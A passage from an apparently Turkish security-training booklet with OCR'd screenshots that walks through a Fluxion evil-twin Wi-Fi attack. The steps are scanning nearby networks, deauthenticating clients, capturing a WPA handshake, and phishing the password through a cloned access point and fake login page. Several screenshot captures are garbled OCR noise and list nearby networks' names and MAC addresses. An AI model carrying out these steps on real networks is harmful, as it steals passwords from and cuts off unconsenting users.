28:3C:E4:D6:43:38
CC:A2:23:A3:BA42
10:FE:ED:EF:DF:B4
24:00:BAsB7 :CELEF

[KABLOSUZ AG SALDIRI ARAGLARI — KALI LINUX]

Wifi Goruntule

PUR Beacons #lata, #/s CH
-43 25 0 0 7
-68 24 0 0 10
=70 15 1 0 1
-7l 17 2 0 1
-78 10 1 0 11
-75 26 15 0 7
=77 15 0 0 11
-78 9 0 0 13
-79 5 0 0 9
-78 24 0 0 3
-81 23 4 0 3
-82 B 0 0 1
-83 7 4 0 12
-82 10 2 0 1
-83 10 0 0 2
-78 12 1 0 1
-83 4 1 0 5
-87 4 1 0 B
-85 10 0 0 7
-88 1 0 0 3
-89 5 0 0 10
-89 1 0 0 1
-89 4 0 0 2
-90 6 0 0 3
-93 3 0 0 4
-94 2 0 0 5
STATION PR Rate
DC:74:AB:03:08:AC -74 0 - Qe
TO:E7:2C:AD:3F:54 -1 Oe- 0
BC:2E:59:52:E2:BC -1 Oe- 0
BC:72:E7:BE:DF:9D -91 0-1

MB

b4e
h4e
h4e
b4e
b4e
B4e
hde,
b4e
b4e
h4e
b4e
b4e
b4e
S4e
b4e
b4e
B4e
b4e
b4e
B4e
b4e
hde
b4e
b4e
S4e
b4e

Lost

ENC CIPHER AUTH ESSID

WPAZ CCHP
WPAZ CCHP
WPAZ CCHMP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPA CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPA  CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP
WPAZ CCHP

Frame

1

S oo o

S

1
5
4
2

PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK
PSK

Probe

Darius

Sari kanarya
SUPERONLINE_WiFi_6387
TurkTelekom_TB05E
TTNET_TP-LINK_51B7
VivalaVida
SUPERONLINE

tayerc

Escobar
TTNET_HGE30a_3F16
chs3561
SUPERONLINE_WiFi_8918
EROL
TurkTelekom_T1CC7
Berkin
TurkTelekom_T16E2
SUPERONLINE_WiFi_1923
SUPERONLINE_WiFi_0934
senols

GOKCE

Rquick

Airties-Izmir
SUPERONLINE-WiFi_6513
TTNET _ZyXEL _R7UE
YILMAZ

TTNET_HUAWEI _2039

Resim 4.7: Etrafinizda olan Erigim Noktalarinin Listesi

Bu ekrani gordlikten sonra Ctrl + C ‘ye basarak yapmis oldugu arama islemini sonlandiriyoruz

ve ana terminal penceremize tekrardan déniyoruz.
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root@Panda: ~/Desktop/fluxion e ® O

File Edit View Search Terminal Help
WIFI LIST

-
o

CHAN SECU PWR  ESSID

H:EHTH
123:B2:
:EF:68:
:C3:46:
128:61:
H L H:H
137:7A:
:1C1:72:
:13:82:
:3C:E4:

6% TTNET_HUAWEI_2039

7% YILMAZ

10% TTNET_ZyXEL_R7WE

11% SUPERONLINE-WiFi_6513
11% Airties-Izmir

11% Rquick

12% GOKCE

15% senols

13% SUPERONLINE _WiFi_0934
15% SUPERONLINE_WIFI_8612

CoONOUVIAE WNM
HFONWHMHNWAWDM

H.H
137:7A:
HH S

(=1

23% TurkTelekom_T16E2
17% Berkin
18% TurkTelekom_T1CC7

=N

:3C:E4:D6:BA: WPA 18% SUPERONLINE_WiFi_8918
:9E:FF:C3:92: WPA 18% cns3561

:3D:FF:5F:3F: A2 21% TTNET_HG630a_3F16
:EE:06:5C:01: V. 21% Escobar

tF3:C1:DB:Al: WPA 19% tayerc

:B9:68:33:7D: WPA2 23% SUPERONLINE

:08:6B:99:51: A2 TTNET_TP-LINK_51B7
125:E9:94:80: NPA TurkTelekom_T805E

174:96:0B:30: WPAZ Sari kanarya
17A:B5:93:BA: A2 Darius
108:6B:CE:E6: NPA TurkTelekom_TE65F

Aktif kullanicilar

Tekrar taramak icin Hedef seciniz type
deltaxflux@fluxion]-[~]125

Resim 4.8: Etrafinizda olan Erigim Noktalarinin Listesi

Ustteki resimde oldugu gibi Fluxion bize secebilecegimiz tiim erisim noktalarini sunmaktadir.
Yapmaniz gereken sey sadece “ID” olarak kag yaziyorsa hedeflediginiz kanalin basinda onu
yazip son bir sonraki adima gegmektedir. Eger hedeflediginiz kanali bulamadiysaniz bu
listede “r” tusuna basarak tekrardan arama yaptirabilirsiniz.
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root@Panda: ~/Desktop/fluxion e ® ©
File Edit View Search Terminal Help

luxion uture >

INFO WIFI

SSID = Panda / WPA2

Channel = 2

Speed 54 Mbps

BSSID 14:9D:09:53:08:F4 ( )

2] Saldiri Tipi Secin
1] SahteAP - Hostapd (
2] SahteAP - airbase-ng (Yavas Baglanti)
3

deltaxflux@fluxion]-[~]11 []

Resim 4.9: Saldir Tipi

root@Panda: ~/Desktop/fluxion @ ® ©
File Edit View Search Terminal Help

INFO WIFI

SSID = Panda / WPA2
Channel = 2
Speed 54 Mbps

BSSID = 14:9D:09:53:08:F4 ( )

handshake location (Example:
Press ENTER to skip

Path: []

Resim 4.10: Handshake Saglamak
Bu ekranimizdan saldiri tliriimiizl segiyoruz.
Onceden Handshake saglama islemini uyguladiysak .cap uzantili dosyamizin yolunu secerek

direk Handshake bilgilerini kullanabiliyoruz. Ancak dnceden Handshake saglama islemini
uygulamadiysak “Enter” tusuna basarak Handshake saglama islemine gecebiliyoruz.
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root@Panda: ~/Desktop/fluxion e ® O
File Edit View Search Terminal Help

2] Handshake Kontrol

1] pyrit
2] aircrack-ng (Hata Sansi Var)
<)

deltaxflux@fluxion

Resim 4.11: Handshake Uygulamalari

Bu asamada hangi uygulama ile Handshake yakalamak istiyorsak onu segiyoruz. Ben bu
asamada “pyrit” uygulamasini se¢tim Handshake yakalamak igin.

root@Panda: ~/Desktop/fluxion e ® ©
File Edit View Search Terminal Help

*Kaydet Handshake*

Deauth all
Deauth all [mdk3]
Deauth target
Rescan networks
Exit

deltaxflux@fluxion ~13 D

Resim 4.12: Deauthentication Saldirisi

Handshake yakalamamiz igin Deauthentication paketi (Sahte Kimlik Dogrulama) génderiyoruz
ve bu agsamamizda;

1. Segenek: Erisim noktasindaki tim aktif cihazlara kendi uygulamasi ile génderiyor.

2. Segenek: mdk3 uygulamasi ile tim aktif cihazlara paketlerimizi gonderiyoruz.
3. Secenek: Sadece erisim noktasina paketlerimizi gonderiyoruz.

DA Dilai Ritvanliii A Q | wnanar haananiivibis Ananm | ADMRACAAIvib



[KABLOSUZ AG SALDIRI ARAGLARI — KALI LINUX]
Ben bu asamamizda sadece erisim noktasina Sahte Kimlik Dogrulama paketlerini gondermeyi
tercih ettim ve bunun igin 3. Segenegi secgtim.

root@Panda: ~/Desktop/fluxion e ® 0
File Edit View Search Terminal Help

luxion Is The Future >

2] *Kaydet Handshake*
Status handshake:

1] Kontrol Et handshake
2] Geri

3] Select another network
4] Exit

1 D Deauthenticating all clients on Panda

Resim 4.13: WPA Handshake

Sahte Kimlik Dogrulama paketlerini, erisim noktamiza génderiyoruz resimden de géruldugu
uzere WPA Handshake’i yakalamis bulunmaktayiz. Handshake’i yakaladiktan sonra islem
yaptigimiz terminale gelerek 1. Segenekte olan Handshake’i kontrol et asamamizi segiyoruz ve
Handshake’i kontrol ettikten sonra bizi bir sonraki asamaya yonlendiriyor.
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root@Panda: ~/Desktop/fluxion e ®
File Edit View Search Terminal Help

luxion Is The Future >

[

S —
INFO WIFI

SSID = Panda / WPA2

Channel =1

Speed = 54 Mbps

BSSID 14:9D:09:53:08:F4 ( )

2] Secenegi Sec

1] Web Interface
2

#7 1]

Resim 4.14: Web Arayiizii

Bu adimimizda Web Araylzini segiyoruz. Sosyal Muhendislik kullanarak Web Araylzu
aracihgiyla internet kullanicisinin  sifresini elde etmeye ¢alisacagiz. Bu g¢alismamizda
uygulamanin bize sunmus oldugu bazi Web Arayuzleri mevcuttur bunlari bize sunmaktadir.
Resim 4.15’de bu segenekleri gormektesiniz. Ben araylz olarak 9. sirada olani yani Tirkge
olanini segiyorum.

DA Dilai Ritvanliii A Q | wnanar haananiivibis Ananm | ADMRACAAIvib



[KABLOSUZ AG SALDIRI ARAGLARI — KALI LINUX]

File Edit View Search Terminal Help

2] Giris Sayfasini Sec

English [ENG] (NEUTRA)
German [GER] (NEUTRA)
Russian [RUS] (NEUTRA)
Italian [IT] (NEUTRA)
Spanish [ESP] (NEUTRA)
Portuguese [POR] (NEUTRA)
Chinese [CN] (NEUTRA)
French [FR] (NEUTRA)
Turkish [TR] (NEUTRA)
Romanian [RO] (NEUTRA)
Hungarian [HU]  (NEUTRA)
Arabic [ARA] (NEUTRA)
Greek [GR] (NEUTRA)
Czech [CZ] (NEUTRA)
Norwegian  [NO]  (NEUTRA)
Bulgarian [BG] (NEUTRA)
Serbian [SRB] (NEUTRA)
Polish [PL] (NEUTRA)
Indonesian [ID] (NEUTRA)
Dutch [NL] (NEUTRA)
Danish [DAN] (NEUTRA)
Hebrew [HE] (NEUTRA)
Thai [TH] (NEUTRA)
Portuguese [BR] (NEUTRA)
Slovenian [SVN] (NEUTRA)
Belkin [ENG]

Netgear [ENG]

Huawel [ENG]

Verizon [ENG]

Netgear [ESP]

Arris [ESP]

Vodafone [ESP]

TP-Link [ENG]

Ziggo [NL]

KPN [NL]

Ziggo2016  [NL]
FRITZBOX DE [DE]

FRITZBOX ENG[ENG]
GENEXIS DE [DE]
Login-Netgear[Login-Netgear]
Login-Xfinity[Login-Xfinity]
Telekom

Google

MOVISTAR [ESP]

CoONOUVIAE WNM

Resim 4.14: Arayiiz Segenekleri

Segim isleminin ardindan uygulamamiz, asil kullanilan erisim noktasinin aynisini klonlayarak
kullanicilarin kullanimina sunmaya basliyor ve bu islem sirasinda kullanicilari erisim noktasini
kullanimindan dustriyor. Digirmesinin amaci yarattigi sahte erisim noktasini kullanmaya
yonlendirmek.
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DHCP [ X Wifi Information

0INT:
iverrerensest Panda
veerrerenrest 14:90309:53:08:F4
Lissereesst 1

ion time,,:

90:h6:86:45:ah260 () android-7a3954827170933

1y ui

4:07:5f
16

Deauth all [mdk3] Panda

Resim 4.15: Sahte Erisim Noktasinin Uretilisi
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NG T 4 8%0 16:27

Smart network switch

Wi-Fi networks (U Scanning...
= Panda

= Connected
f,;.a Panda

Saved, Secured

o> BaranBerkay

~a Secured (WPS available)
Z5  omwn
v Secured (WPS available)
BGASinif
Not in range

Resim 4.15: Sahte Erisim Noktasi

Resim 4.15’de kirmizi ok ile gdéstermis oldugumuz erisim noktasi orijinal erisim noktasinin
kopyasidir, tim oOzellikleri ile kullanicilarin  kullandigi erisim noktasinin aynisidir.
Hedefledigimiz erisim noktasindan disen kullanicilar bu erisim noktasina sifre olmadan
baglanmaktadirlar. Erisim noktasini kullanmis olduklarini diigstinselerde, kullandiklari cihazdan
tarayicilarini agtiklarinda anda ise direk bizim yaratmis oldugumuz sahte Web Arayliziine
gireceklerdir.
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=

NG R L 48%m 1627

0 @ google.com.tr m E

ESSID: Panda
BSSID: 14:9D:09:53:08:F4
Channel: 1

internet'e erismek icin WPA kablosuz ag
sifrenizi giriniz:

Litfen parolanizi giriniz:

Resim 4.16: WPA Sifresinin istenmesi

Kullanicinin erisim noktasini kullanmasi igcin WPA sifresinin girilmesi beklenmektedir. Sifre
girildigi anda Fluxion girilen WPA sifresinin dogru olup olmadigini kontrol eder ve sifrenin
dogrulugunun saglanmasini yapmaktadir. Sifrenin dogrulugu saglandiktan sonra Fluxion islem
gordigu terminali kapatarak, programin galismasi agamasinda yapmis oldugu tim islemleri
geri doéndirmektedir, ag kartini Monitér(izleme) Modundan cikarmaktadir ve tekrardan
internet baglanmasini saglamaktadir.
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Wifi Information @ ® 0

[00:00:00] 1/0 keys tested (91,31 k/s)

Time left: 0 seconds

oo

o=
R &
S &

B8
SRAB AS
RREJ

B9
2

FELFSE BR

M RARR

g KHR¥R
BEAN RRAR
NBRH RY
RALA B
CREE %%
KRS

¥ REREH =W
LRES
ARAR R&

9 B4
9 60
3D 99
4D A9
99 03
D9 IC
EB E3

g RBAC

[,
E
ol
=
5]
~
&
&

Resim 4.16: WPA Sifresinin istenmesi
Resim 4.16’da gorduglniz gibi Fluxion uygulamasi sayesinde kullanicinin WPA sifresini elde

ediyoruz. Fluxion, WPA sifresini bulduktan sonra /root/ hedef dizinine hedeflenen erisim
noktasinin sifresini text dosyasi olarak kopyaliyor.
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Kaynaklar;

https://tools.kali.org/wireless-attacks
https://null-byte.wonderhowto.com/how-to/hack-wi-fi-capturing-wpa-passwords-by-
targeting-users-with-fluxion-attack-0176134/

WPS Brute Force Attack Using Bully https://www.youtube.com/watch?v=Ny3I1G4X8hHY
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BGA Bilgi Giivenligi A.S. Hakkinda

BGA Bilgi Glvenligi A.S. 2008 yilindan bu yana siber givenlik alaninda faaliyet gostermektedir.
Ulkemizdeki bilgi giivenligi sektdriine profesyonel anlamda destek olmak amaci ile kurulan BGA Bilgi
Guvenligi, stratejik siber givenlik danismanligi ve glivenlik egitimleri konularinda kurumlara hizmet
vermektedir.

Uluslararasi gecerlilige sahip sertifikali 50 kisilik teknik ekibi ile, faaliyetlerini Ankara ve istanbul ve
USA’da sirdiiren BGA Bilgi Guvenligi'nin ilgi alanlarini “Sizma Testleri, Giivenlik Denetimi, SOME, SOC
Danismanhgi, Acik Kaynak Siber Giivenlik Céziimleri, Biiyiik Veri Giivenlik Analizi ve Yeni Nesil Giivenlik
Coziimleri” olusturmaktadir.

Gergceklestirdigi basarili danismanlik projeleri ve egitimlerle sektorde saygin bir yer edinen BGA Bilgi
Guvenligi, kuruldugu giinden bugiine alaninda lider finans, enerji, telekom ve kamu kuruluslarina
1.000'den fazla egitim ve danismanlik projeleri gerceklestirmistir.

BGA Bilgi Guvenligi, kuruldugu 2008 yilindan beri llkemizde bilgi givenligi konusundaki bilgi ve
paylasimlarin artmasi amaciile giivenlik e-posta listeleri olusturulmasi, seminerler, giivenlik etkinlikleri
dizenlenmesi, Universite Ogrencilerine kariyer ve bilgi saglamak icin siber givenlik kamplari
dizenlenmesi ve sosyal sorumluluk projeleri gibi bircok konuda gonilli faaliyetlerde bulunmustur.

BGA Bilgi Giivenligi AKADEMISi Hakkinda

BGA Bilgi Givenligi A.S.'nin egitim ve sosyal sorumluluk markasi olarak calisan Bilgi Glvenligi
AKADEMISI, siber giivenlik konusunda ticari, génilli egitimlerin diizenlenmesi ve siber giivenlik
farkindahgini arttirici géndllii faaliyetleri yiritilmesinden sorumludur. Bilgi Giivenligi AKADEMISI
markasiyla bugiine kadar “Siber Givenlik Kamplari”, “Siber Glvenlik Staj Okulu”, “Siber Guvenlik Ar-
Ge Destek Bursu”, “Ethical Hacking yarismalari” ve “Siber Glivenlik Kiitiiphanesi” gibi bircok gonalli
faaliyetin destekleyici olmustur.
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